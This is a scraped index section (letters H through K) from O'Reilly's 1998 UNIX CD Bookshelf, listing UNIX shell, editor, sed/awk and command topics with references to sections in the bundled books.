hashstat command (csh) : UNIX in a Nutshell, Chapter 5, Reference: hashstat
head command
Learning the Korn Shell, 4.3.1. Syntax of String Operators
Learning the Korn Shell, 6.2.2. Arithmetic Variables and Assignment
Learning the Korn Shell, 7.3.2. eval
UNIX Power Tools, 25.20. Printing the Top of a File
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: head
piping ps output to : UNIX Power Tools, 38.5. The ps Command
header files in /usr/include : UNIX Power Tools, 52.8.2.7. Functions, Libraries, and Header Files
headers, editing : UNIX Power Tools, 52.8.2.4. Unsharring the Sources
headers, email message : Learning the UNIX Operating System, 3.4.2. Reading Your Mail
help and resources
emacs commands for : UNIX in a Nutshell, 7.2.16. Detail Information Help Commands
for further reading : Learning the UNIX Operating System, A.1. General UNIX Books
info command : Learning the UNIX Operating System, 7.1. Standard UNIX Documentation
man pages : (see manual pages)
masterindex script : sed & awk, C.3. Documentation for masterindex
sed and awk : sed & awk, Other Sources of Information About sed and awk
troubleshooting : (see troubleshooting)
UNIX documentation
Learning the UNIX Operating System, 7.1. Standard UNIX Documentation
UNIX Power Tools, 50.1. UNIX Online Documentation
help command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: help
help command (lpc) : UNIX Power Tools, 43.3. Printer Control with lpc
help command (SCCS) : UNIX in a Nutshell, Chapter 17, Reference: help
here documents
Learning the Korn Shell, 7.1.1. Here-documents
Learning the vi Editor, 7.4.2. Here Documents
UNIX Power Tools, 8.18. Here Documents
UNIX Power Tools, 9.14. Using Here Documents for Form Letters, etc.
UNIX Power Tools, 19.2. Introduction to Shell Archives
deleting leading TABs in : Learning the Korn Shell, 7.1.1. Here-documents
parameter and command substitution in : Learning the Korn Shell, 7.1.1. Here-documents
hereis document terminators : UNIX Power Tools, 45.26. Quoted hereis Document Terminators: sh vs. csh
hexadecimal values
UNIX Power Tools, 51.3. ASCII Characters: Listing and Getting Values
sed & awk, 7.6. Expressions
tawk constants : sed & awk, 11.3.2.1. Tawk language extensions
hey script
UNIX Power Tools, 16.15. Script with a :-) for UNIX Converts: dir, ..., ...
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
hgrep script
UNIX Power Tools, 27.20. A Highlighting grep
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
hidden files
Learning the UNIX Operating System, 3.1.8.1. ls
(see dot files)
hiding special characters : sed & awk, 12.3.1. How to Hide a Special Character
hierarchical filesystems
UNIX Power Tools, 1.19. The Tree Structure of the Filesystem
UNIX Power Tools, 18.1. What's So Complicated About Copying Files?
hierarchy, directory
Learning the UNIX Operating System, 3.1.3. The Directory Tree
Learning the UNIX Operating System, 3.1.7. Files in the Directory Tree
High Sierra format : UNIX Power Tools, 52.5.1. CD-ROM Formats
highlighting in shell prompts : UNIX Power Tools, 7.8. Highlighting in Shell Prompts
highlighting text : UNIX Power Tools, 27.20. A Highlighting grep
histchars shell variable
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 11.15. Changing C Shell History Characters with histchars
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
HISTFILE
Learning the Korn Shell, 2.2. The History File
Learning the Korn Shell, 3.4.2.1. Editing mode variables
Learning the Korn Shell, 3.5.1. Environment Variables
UNIX in a Nutshell, 4.3.3. Other Shell Variables
HISTFILESIZE environment variable : UNIX Power Tools, 11.11. Picking Up Where You Left Off
history (alias) : Learning the Korn Shell, 2.5. The fc Command
history command
UNIX Power Tools, 11.1. The Lessons of History
UNIX in a Nutshell, Chapter 4, Reference: history
UNIX in a Nutshell, 5.5. Command History csh shell
UNIX in a Nutshell, Chapter 5, Reference: history
UNIX in a Nutshell, Chapter 20, Reference: history
.history file
Learning the Korn Shell, 2.2. The History File
UNIX Power Tools, 11.11. Picking Up Where You Left Off
UNIX in a Nutshell, 5.2.1. Special Files
printing to : Learning the Korn Shell, 7.2.1.2. Options to print
history shell variable
UNIX Power Tools, 6.8. Shell Variables
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 11.1. The Lessons of History
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
history substitutions
UNIX Power Tools, 8.5. Command-Line Evaluation
UNIX Power Tools, 10.3. C Shell Aliases with Command-Line Arguments
HISTSIZE environment variable
Learning the Korn Shell, 2.2. The History File
UNIX Power Tools, 11.1. The Lessons of History
UNIX Power Tools, 11.11. Picking Up Where You Left Off
UNIX in a Nutshell, 4.3.3. Other Shell Variables
hold command
sed & awk, 6.3.2. Correcting Index Entries (Part II)
(see h command (sed); H command (sed))
HOLD SCREEN button : UNIX Power Tools, 42.2.1. Output Stopped?
hold space
sed & awk, 6.3. Hold That Line
(see also pattern space)
home directory
Learning the Korn Shell, 1.6.1.1. The working directory
Learning the UNIX Operating System, 3.1.1. Your Home Directory
UNIX Power Tools, 1.20. Your Home Directory
UNIX Power Tools, 4.1. What? Me, Organized?
UNIX Power Tools, 14.11. Finding (Anyone's) Home Directory, Quickly
UNIX Power Tools, 6.3. Predefined Environment Variables
HOME environment variable
Learning the Korn Shell, 3.4.3.1. Miscellaneous Variables
Learning the Korn Shell, 3.5.1. Environment Variables
Learning the Korn Shell, 7.3. Command-line Processing
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX Power Tools, 14.11. Finding (Anyone's) Home Directory, Quickly
UNIX in a Nutshell, 4.3.3. Other Shell Variables
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
UNIX in a Nutshell, 5.3.5. Environment Variables
in C shell : UNIX Power Tools, 47.2.5. Variable Syntax
horizontal alignment : (see alignment/positioning)
horizontal spacing : (see whitespace)
host machine
UNIX in a Nutshell, Chapter 2, Reference: hostid
UNIX in a Nutshell, Chapter 2, Reference: hostname
hostid command : UNIX in a Nutshell, Chapter 2, Reference: hostid
hostname command
Learning the Korn Shell, 4.4. Command Substitution
UNIX in a Nutshell, Chapter 2, Reference: hostname
(see also uuname command)
hostnames, mailing to : Learning the UNIX Operating System, 3.4.1. Sending Mail
HP/UX
Learning the Korn Shell, 1. Korn Shell Basics
Learning the Korn Shell, 1.9.5. Control Keys
hrs field in crontab entries : UNIX Power Tools, 40.12.1. Execution Scheduling
hsfs (High Sierra Filesystem) : UNIX Power Tools, 52.5.2. Mounting the CD-ROM
HTML file extension : UNIX Power Tools, 1.17. Filename Extensions
.html filename extension : UNIX Power Tools, 1.17. Filename Extensions
hung terminal
Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
UNIX Power Tools, 5.6. Checklist: Terminal Hangs When I Log In
HUP (hangup) signal
Learning the Korn Shell, 8.4.3. Ignoring Signals
UNIX Power Tools, 38.8. What Are Signals?
UNIX Power Tools, 38.17. Automatically Kill Background Processes on Logout in csh
hyphen : (see - (hyphen))
hyphenation, nroff/troff requests for : UNIX in a Nutshell, 12.5.7. Hyphenation

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: I

i command (sed)
sed & awk, 5.5. Append, Insert, and Change
UNIX in a Nutshell, Chapter 10, Reference: i
I-beam cursor : Learning the UNIX Operating System, 2.4.3. Using a Mouse with xterm Windows
i-number
UNIX Power Tools, 1.22. How UNIX Keeps Track of Files: Inodes
UNIX Power Tools, 23.16. Removing a Strange File by its I-number
I/O (input/output)
UNIX Power Tools, 13.1. Using Standard Input and Output
sed & awk, 2.2. Command-Line Syntax
assigning input to variables : sed & awk, 10.1.2. Assigning the Input to a Variable
background processes, output from : UNIX Power Tools, 12.7. Stop Background Output with stty tostop
echoing input characters as two-character sequences : UNIX Power Tools, 41.2.3. What About TABs?
flushing input buffer : UNIX Power Tools, 41.7. Reading Verrrry Long Lines from the Terminal
getline function : sed & awk, 10.1. The getline Function
handling input characters : UNIX Power Tools, 41.2.2. Handling Most Characters
focus : Learning the UNIX Operating System, 2.3.1. Setting Focus
formatting output
sed & awk, 7.9. Formatted Printing
sed & awk, 10.6. Generating Columnar Reports
input modes, setting : UNIX in a Nutshell, Chapter 2, Reference: stty
loops : UNIX Power Tools, 45.23. The Ins and Outs of Redirected I/O Loops
redirected
UNIX Power Tools, 45.22. Handling Files Line-by-Line
UNIX Power Tools, 45.23. The Ins and Outs of Redirected I/O Loops
operations : UNIX Power Tools, 39.5. Why Is the System So Slow?
output buffer
UNIX Power Tools, 13.9. Send Output Two or More Places with tee
sed & awk, 11.2.1.3. Flushing buffered output
pipelines : Learning the Korn Shell, 1.7.3. Pipelines
redirection : (see redirection)
saving output : sed & awk, 4.3. Testing and Saving Output
sed processing commands : UNIX in a Nutshell, 10.4.3. Input/Output Processing
setting output modes : UNIX in a Nutshell, Chapter 2, Reference: stty
specifying output device : UNIX Power Tools, 50.12. Common UNIX Error Messages
standard input (stdin) : (see standard input)
standard error (stderr) : (see standard error)
standard output (stdout) : (see standard output)
stopping and restarting output : UNIX Power Tools, 42.2.1. Output Stopped?
streams : UNIX Power Tools, 13.1. Using Standard Input and Output
strings : (see print, read)
subsystem, resources and : UNIX Power Tools, 39.12.3. The I/O Subsystem
suppressing output
sed & awk, 2.3.2.2. Suppressing automatic display of input lines
sed & awk, 5.2. Comment
tee program : UNIX Power Tools, 13.9. Send Output Two or More Places with tee
testing output : sed & awk, 4.3. Testing and Saving Output
to terminal : sed & awk, 11.2.1.4. Special filenames
time : UNIX Power Tools, 39.5. Why Is the System So Slow?
ibase command : UNIX Power Tools, 49.2. bc: Hexadecimal or Binary Conversion
icanon option : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
icons
Learning the UNIX Operating System, 2.5.1. Using the Titlebar
Learning the UNIX Operating System, 2.5.2. Moving Windows and Icons
iconv command : UNIX in a Nutshell, Chapter 2, Reference: iconv
id command
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: id
ident command (RCS) : UNIX in a Nutshell, Chapter 18, Reference: ident
identification keywords, SCCS : UNIX in a Nutshell, 17.3. Identification Keywords
IEEE
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
(see also POSIX)
if ($?prompt) test
UNIX Power Tools, 2.5.1. Quick Login
UNIX Power Tools, 2.9. Speeding Up Your C Shell with set prompt Test
if statements
Learning the Korn Shell, 5.1. if/else
Learning the Korn Shell, 6.2.2. Arithmetic Variables and Assignment
Learning the Korn Shell, 6.3.3. String Formatting Options
Learning the Korn Shell, 7.2.2.1. Reading lines from files
Learning the Korn Shell, 7.3.1. Quoting
Learning the Korn Shell, 9.2.3.2. Stepping
Learning the Korn Shell, 9.2.3.4. Break conditions
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX Power Tools, 44.8. Test Exit Status with the if Statement
UNIX Power Tools, 45.9. The Unappreciated Bourne Shell ":" Operator
sed & awk, 8.1. Conditional Statements
UNIX in a Nutshell, Chapter 4, Reference: if
UNIX in a Nutshell, Chapter 5, Reference: if
UNIX in a Nutshell, Chapter 11, Reference: if
: used with : UNIX Power Tools, 45.9. The Unappreciated Bourne Shell ":" Operator
in C shell
UNIX Power Tools, 47.2.2.3. Stupid Parsing Bugs
UNIX Power Tools, 47.2.6. Expression Evaluation
UNIX Power Tools, 47.4.2. Expressions
in csh aliases : UNIX Power Tools, 10.7. How to Put if-then-else in a C Shell Alias
else statement : UNIX Power Tools, 44.8. Test Exit Status with the if Statement
errors caused by
UNIX Power Tools, 46.1.4. Missing or Extra esac, ;;, fi, etc.
UNIX Power Tools, 47.2.2.3. Stupid Parsing Bugs
UNIX Power Tools, 47.2.6. Expression Evaluation
examples
UNIX Power Tools, 44.20. test: Testing Files and Strings
UNIX Power Tools, 47.3. Conditional Statements with if
in C shell : UNIX Power Tools, 47.3. Conditional Statements with if
nested : UNIX Power Tools, 47.2.6. Expression Evaluation
redirecting I/O to : Learning the Korn Shell, 7.2.2.2. I/O Redirection and multiple commands
switch compared to : UNIX Power Tools, 47.6. Quick Reference: C Shell switch Statement
syntax : Learning the Korn Shell, 5.1. if/else
IFS variable
Learning the Korn Shell, 4.2.1. Positional Parameters
Learning the Korn Shell, 4.2.1.1. Positional parameters in functions
Learning the Korn Shell, 7.2.2. read
Learning the Korn Shell, 7.3. Command-line Processing
UNIX Power Tools, 4.10. Find All Command Versions with whereiz
UNIX Power Tools, 35.21. Using IFS to Split Strings
UNIX in a Nutshell, 4.3.3. Other Shell Variables
role in command-line processing : Learning the Korn Shell, 7.3. Command-line Processing
ignore command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: ignore
IGNORECASE variable (gawk) : sed & awk, 11.2.3.8. Additional variables
ignoreeof shell variable
UNIX Power Tools, 3.5. Stop Accidental C Shell Logouts
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
images, formatting in nroff/troff : UNIX in a Nutshell, 16.3. Pic
in operator
sed & awk, 8.4.2. Testing for Membership in an Array
sed & awk, 11.1.8. Arrays
includeres program : UNIX Power Tools, 43.24. Other PostScript Utilities
incompatibilites in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
increment (++) operator : sed & awk, 7.6. Expressions
indentation : UNIX Power Tools, 35.7. offset: Indent Text
automatic, in insert mode (vi) : Learning the vi Editor, 7.5.1. Indentation Control
emacs commands for
UNIX in a Nutshell, 7.2.12. Indentation Commands
UNIX in a Nutshell, 7.2.15. Basic Indentation Commands
index
building for manual pages : UNIX Power Tools, 50.3. apropos on Systems Without apropos
formatting (example program) : sed & awk, 12.2. Generating a Formatted Index
generating in Solaris 2.0 : UNIX in a Nutshell, Chapter 2, Reference: ptx
permuted in UNIX Reference Manual : UNIX Power Tools, 50.9. Reading a Permuted Index
writing in troff : UNIX Power Tools, 1.4. Using Pipes to Create a New Tool
index()
sed & awk, 9.2. String Functions
sed & awk, 9.2.1. Substrings
index, array
sed & awk, 8.4. Arrays
sed & awk, 8.4.1. Associative Arrays
index program
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX Power Tools, 48.11. The index Database Program
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 11, Reference: index
-f option : UNIX Power Tools, 48.12. Using index with a Filter
info command : Learning the UNIX Operating System, 7.1. Standard UNIX Documentation
info pseudo-command (sccs) : UNIX in a Nutshell, 17.6.2. Pseudo-commands
INIT procedure (tawk) : sed & awk, 11.3.2.1. Tawk language extensions
init program : UNIX Power Tools, 38.2. fork and exec
inodes : UNIX Power Tools, 1.22. How UNIX Keeps Track of Files: Inodes
change time : UNIX Power Tools, 21.6. A File's Inode Change (not "Creation"!) Time
ls -c command for : UNIX Power Tools, 16.2. Finding Oldest or Newest Files with ls -t and ls -u
modifying : UNIX Power Tools, 16.5. The Three UNIX File Times
stat program for : UNIX Power Tools, 21.13. Read an Inode with stat
inpchk option : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
input : (see I/O)
insert command : (see i command (sed))
insert command (ex)
UNIX Power Tools, 33.4. Useful ex Commands
UNIX in a Nutshell, Chapter 9, Reference: insert
insert commands (vi)
at beginning of line (I) : Learning the vi Editor, 2.4. More Ways to Insert Text
at cursor (i)
Learning the vi Editor, 2.1. vi Commands
Learning the vi Editor, 2.3.1. Inserting New Text
on new line (O, o) : Learning the vi Editor, 2.4. More Ways to Insert Text
text (i) : Learning the vi Editor, 1. The vi Text Editor
insert mode (Emacs) : UNIX Power Tools, 32.5. Putting Emacs in Overwrite Mode
insert mode (vi)
Learning the vi Editor, 2.1. vi Commands
UNIX in a Nutshell, 8.1.3. Insert Mode
mapping : Learning the vi Editor, 7.3.6. Mapping Keys for Insert Mode
install program
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: install
installation process
CD-ROM : UNIX Power Tools, 52.5.3.2. Starting the Installation
default values : UNIX Power Tools, 52.5.3.5. Installing Everything Using the Defaults
installing the Korn shell as /bin/sh : Learning the Korn Shell, 10.1. Installing the Korn Shell as the Standard Shell
pcal program : UNIX Power Tools, 52.8.2.1. Copying the Sources
for single program : UNIX Power Tools, 52.5.3.4. Installing a Single Program
unmounting CD-ROM : UNIX Power Tools, 52.5.4. Unmounting the CD-ROM
INSTALLDIR, CD-ROM
UNIX Power Tools, 52.8.1. Running the Build Scripts
Learning the Korn Shell, 10.3.4. Privileged Mode
INSTALLSHAREDIR, CD-ROM : UNIX Power Tools, 52.8.1. Running the Build Scripts
Institute of Electrical and Electronic Engineers : (see IEEE)
instructions, awk : sed & awk, 2.4.1. Running awk
INT signal
Learning the Korn Shell, 8.6.2. Nested Subshells
UNIX Power Tools, 38.8. What Are Signals?
UNIX Power Tools, 38.9. Killing Foreground Jobs
interrupt character
Learning the UNIX Operating System, 1.1.7. Correcting a Mistake
Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
UNIX Power Tools, 9.19. For the Impatient: Type-Ahead
UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
int() : sed & awk, 9.1.2. Integer Function
int command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: int
integer command (ksh, sh) : UNIX in a Nutshell, Chapter 4, Reference: integer
intelligent terminal : Learning the vi Editor, 2.3.1. Inserting New Text
interactive
commands : UNIX Power Tools, 1.2. Who Listens to What You Type?
conversation
UNIX in a Nutshell, Chapter 2, Reference: talk
UNIX in a Nutshell, Chapter 2, Reference: write
file deletion : UNIX Power Tools, 23.6. A Faster Way to Remove Files Interactively
programs, nice command and : UNIX Power Tools, 39.10. A nice Gotcha
renaming files : UNIX Power Tools, 18.12. Renaming a List of Files Interactively
spell checking : UNIX Power Tools, 29.2. Check Spelling Interactively with ispell
Interleaf files, converting : sed & awk, 6.1.1.1. Converting an Interleaf file
internal commands : UNIX Power Tools, 1.10. Internal and External Commands
internationalization : UNIX in a Nutshell, Chapter 2, Reference: exstr
Internet
Learning the Korn Shell, 7.1.1. Here-documents
Learning the Korn Shell, 9.2. A Korn Shell Debugger
Learning the Korn Shell, A.4. pdksh
Learning the Korn Shell, A.5. bash
UNIX Power Tools, 1.33. UNIX Networking and Communications
directory, searching : UNIX in a Nutshell, Chapter 2, Reference: whois
interpreted programs : Learning the UNIX Operating System, 6.2.1. ps
interpreters : (see shells)
interprocess communication (IPC)
Learning the Korn Shell, 8.3. Signals
UNIX in a Nutshell, Chapter 2, Reference: ipcs
interrupt character
Learning the UNIX Operating System, 1.1.7. Correcting a Mistake
Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
UNIX Power Tools, 9.19. For the Impatient: Type-Ahead
UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
INT signal
Learning the Korn Shell, 8.6.2. Nested Subshells
UNIX Power Tools, 38.8. What Are Signals?
UNIX Power Tools, 38.9. Killing Foreground Jobs
interrupting jobs : UNIX Power Tools, 12.7. Stop Background Output with stty tostop
intr jey : UNIX Power Tools, 5.9. Setting Your Erase, Kill, and Interrupt Characters
"intruder alert" error message : UNIX Power Tools, 50.12. Common UNIX Error Messages
inverse video problems : UNIX Power Tools, 42.4. Checklist for Resetting a Messed Up Terminal
invoking the shell
UNIX in a Nutshell, 4.8. Invoking the Shell
UNIX in a Nutshell, 5.8. Invoking the Shell
iostat command : UNIX Power Tools, 39.12.3. The I/O Subsystem
ipcrm command : UNIX in a Nutshell, Chapter 2, Reference: ipcrm
ipcs command : UNIX in a Nutshell, Chapter 2, Reference: ipcs
ipl program
UNIX Power Tools, 49.9. Business Graphics with ipl
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
isig option : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
ismpx command
UNIX in a Nutshell, Chapter 2, Reference: ismpx
(see also layers command)
ISO : Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
ISO 9660 : UNIX Power Tools, 52.5.1. CD-ROM Formats
ispell program
UNIX Power Tools, 29.2. Check Spelling Interactively with ispell
UNIX Power Tools, 29.5. Adding Words to ispell's Dictionary
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
iterating shell variables over arguments : UNIX Power Tools, 46.7. Quoting and Command-Line Parameters

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: J

Jargon File : UNIX Power Tools, 51.8. Type Bang Splat. Don't Forget the Rabbit Ears
jobs and job control
Learning the Korn Shell, Summary of Korn Shell Features
Learning the Korn Shell, 7.1.2. File Descriptors
Learning the Korn Shell, 8. Process Handling
Learning the Korn Shell, 8.2. Job Control
Learning the Korn Shell, 8.6.2. Nested Subshells
Learning the UNIX Operating System, 6.1. Running a Command in the Background
UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
(see also processes)
advantages : UNIX Power Tools, 12.1. Job Control: Work Faster, Stop Runaway Jobs
autowrite and : UNIX Power Tools, 12.4. Job Control and autowrite: Real Time Savers!
background : (see background processes/jobs)
checking : UNIX Power Tools, 40.9. Checking and Removing Jobs
csh shells : UNIX in a Nutshell, 5.7. Job Control
definition : Learning the Korn Shell, 8.1. Process IDs and Job Numbers
deleting : UNIX Power Tools, 40.9. Checking and Removing Jobs
fixing hung : UNIX Power Tools, 42.2. Fixing a Hung Terminal or Job
job numbers
Learning the Korn Shell, 8.1. Process IDs and Job Numbers
Learning the Korn Shell, 8.6.2. Nested Subshells
killing foreground jobs : UNIX Power Tools, 38.9. Killing Foreground Jobs
lack of support for in MS-DOS : Learning the Korn Shell, A.6. Workalikes on PC Platforms
priority of : UNIX Power Tools, 39.11. Changing a Job's Priority Under BSD UNIX
repeating the next weedkay : UNIX Power Tools, 40.10. nextday, nextweekday: Tomorrow or Next Weekday
resuming : Learning the Korn Shell, 8.2.2. Suspending a Job
running at night : UNIX Power Tools, 40.1. Off-Peak Job Submission
sh and ksh shells : UNIX in a Nutshell, 4.7. Job Control
shell scripts : UNIX in a Nutshell, Chapter 2, Reference: jsh
suspending/interrupting jobs
Learning the Korn Shell, 8.2. Job Control
Learning the Korn Shell, 8.2.2. Suspending a Job
Learning the UNIX Operating System, 1.1.8.1. Problem checklist
Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
UNIX Power Tools, 12.5. System Overloaded? Try Stopping Some Jobs
UNIX Power Tools, 12.7. Stop Background Output with stty tostop
status messages
Learning the Korn Shell, 8.1. Process IDs and Job Numbers
UNIX Power Tools, 12.6. Notification When Jobs Change State
ways to refer to
%% (most recent) : Learning the Korn Shell, 8.2.1. Foreground and Background
%+ (most recent) : Learning the Korn Shell, 8.2.1. Foreground and Background
%- (second most recent) : Learning the Korn Shell, 8.2.1. Foreground and Background
by command name
Learning the Korn Shell, 8.2.1. Foreground and Background
Learning the Korn Shell, 8.4. trap
by job number
Learning the Korn Shell, 8.2.1. Foreground and Background
Learning the Korn Shell, 8.3.2. kill
by string search : Learning the Korn Shell, 8.2.1. Foreground and Background
when to run : UNIX Power Tools, 40.5. Avoiding Other at and cron Jobs
jobs command
Learning the Korn Shell, 1.8. Background Jobs
Learning the Korn Shell, 8.2. Job Control
Learning the Korn Shell, 8.2.1. Foreground and Background
Learning the Korn Shell, A.1. The Bourne Shell
Learning the UNIX Operating System, 6.2.1. ps
UNIX Power Tools, 12.1.1. Foreground and Background
UNIX Power Tools, 38.17. Automatically Kill Background Processes on Logout in csh
UNIX Power Tools, 42.2.2. Job Stopped?
UNIX in a Nutshell, Chapter 4, Reference: jobs
UNIX in a Nutshell, Chapter 5, Reference: jobs
-p (only list process IDs)
Learning the Korn Shell, 8.2.1. Foreground and Background
Learning the Korn Shell, 8.3.2. kill
similarity to ps : Learning the Korn Shell, 8.3.3. ps
jobs <file : UNIX Power Tools, 38.17. Automatically Kill Background Processes on Logout in csh
join command
UNIX Power Tools, 35.19. Joining Lines with join
UNIX in a Nutshell, Chapter 2, Reference: join
join command (ex) : UNIX in a Nutshell, Chapter 9, Reference: join
joining lines (J) : Learning the vi Editor, 2.5. Joining Two Lines with J
jot command
UNIX Power Tools, 45.11. The Multipurpose jot Command
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
ASCII to decimal conversion : UNIX Power Tools, 51.3. ASCII Characters: Listing and Getting Values
disadvantages : UNIX Power Tools, 51.3. ASCII Characters: Listing and Getting Values
examples : UNIX Power Tools, 45.11. The Multipurpose jot Command
getting control characters using : UNIX Power Tools, 45.35.2. With tr and echo
Joy, Bill
Learning the Korn Shell, 1.3. History of UNIX Shells
UNIX Power Tools, 5.2. The Idea of a Terminal Database
jsh
UNIX in a Nutshell, Chapter 2, Reference: jsh
UNIX in a Nutshell, 4.7. Job Control
jterm command
UNIX in a Nutshell, Chapter 2, Reference: jterm
(see also layers command)
jwin command : UNIX in a Nutshell, Chapter 2, Reference: jwin

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: K

k command (ex) : UNIX in a Nutshell, Chapter 9, Reference: k
Kamens, Jonathan I. : UNIX Power Tools, 13.8. Using {list} to Group Bourne Shell Commands
kernel
UNIX Power Tools, 1.2. Who Listens to What You Type?
UNIX Power Tools, 1.14. The Kernel and Daemons
passing arguments to : UNIX Power Tools, 45.5. A File That Shows Itself... and What #! Does
running scripts from
UNIX Power Tools, 45.2. The Story of : # #!
UNIX Power Tools, 45.3. Don't Need a Shell for Your Script? Don't Use One
UNIX Power Tools, 45.5. A File That Shows Itself... and What #! Does
starting processes : UNIX Power Tools, 45.20. Overview: Open Files and File Descriptors
time spent executing code : UNIX Power Tools, 39.5. Why Is the System So Slow?
key definitions : UNIX Power Tools, 25.4. The "less" Pager: More than "more"
keyboard response : UNIX Power Tools, 39.5. Why Is the System So Slow?
keyboard shortcuts : Learning the UNIX Operating System, 2.5.4. The Window Menu
abbreviations in Emacs : UNIX Power Tools, 32.11. Using Word Abbreviation Mode
Emacs command completion : UNIX Power Tools, 32.6. Command Completion
vi abbreviations : UNIX Power Tools, 30.31. vi Word Abbreviation
vi map commands
UNIX Power Tools, 31.2. Save Time and Typing with the vi map Commands
UNIX Power Tools, 31.6. Protecting Keys from Interpretation by ex
keylogin command
UNIX in a Nutshell, Chapter 2, Reference: keylogin
(see also chkey command; keylogout command)
keylogout command
UNIX in a Nutshell, Chapter 2, Reference: keylogout
(see also chkey command; keylogin command)
keymapping : UNIX Power Tools, 31.1. Why Type More Than You Have To?
keymaps (se vi editor, map commands) : UNIX Power Tools, 31.6. Protecting Keys from Interpretation by ex
keywords
order of precedence in command lookup
Learning the Korn Shell, 4.1.1. Functions
Learning the Korn Shell, 7.3. Command-line Processing
RCS : UNIX in a Nutshell, 18.3.1. Keyword Substitution
SCCS : UNIX in a Nutshell, 17.3. Identification Keywords
kill command
Learning the Korn Shell, 8.2. Job Control
Learning the Korn Shell, 8.3.2. kill
Learning the Korn Shell, 8.4. trap
Learning the Korn Shell, A.1. The Bourne Shell
Learning the UNIX Operating System, 6.3.1. kill
UNIX Power Tools, 12.2. Other Ways to Refer to Jobs
UNIX Power Tools, 38.8. What Are Signals?
UNIX Power Tools, 47.2.2.3. Stupid Parsing Bugs
UNIX in a Nutshell, Chapter 2, Reference: kill
UNIX in a Nutshell, Chapter 4, Reference: kill
UNIX in a Nutshell, Chapter 5, Reference: kill
UNIX in a Nutshell, Chapter 20, Reference: kill
-l (list signals) : Learning the Korn Shell, 8.3. Signals
aborting programs : UNIX Power Tools, 42.2.5. Aborting Programs
arguments to : Learning the Korn Shell, 8.3.2. kill
default signal sent : Learning the Korn Shell, 8.3.2. kill
destroying : UNIX Power Tools, 38.10. Destroying Processes with kill
interrupting : UNIX Power Tools, 45.8. Handling Signals to Child Processes
killing runaway processes : Learning the Korn Shell, 8.3.3.1. System V
process ID-1 and : UNIX Power Tools, 38.12. Killing All Your Processes
prompt settings and : UNIX Power Tools, 7.12. External Commands Send Signals to Set Variables
restarting daemons : UNIX Power Tools, 38.11. Printer Queue Watcher: A Restartable Daemon Shell Script
-STOP $$ : UNIX Power Tools, 38.4. Subshells
used with process IDs : Learning the Korn Shell, 8.3.3.1. System V
kill key : UNIX Power Tools, 5.9. Setting Your Erase, Kill, and Interrupt Characters
KILL signal
UNIX Power Tools, 38.8. What Are Signals?
UNIX Power Tools, 38.10. Destroying Processes with kill
killing
foreground jobs : UNIX Power Tools, 38.9. Killing Foreground Jobs
processes : UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
Korn, David
Learning the Korn Shell, 1.3.1. The Korn Shell
Learning the Korn Shell, A.7. The Future of the Korn Shell
ksh (Korn shell)
UNIX Power Tools, 1.8. There Are Many Shells
sed & awk, DOS Versions
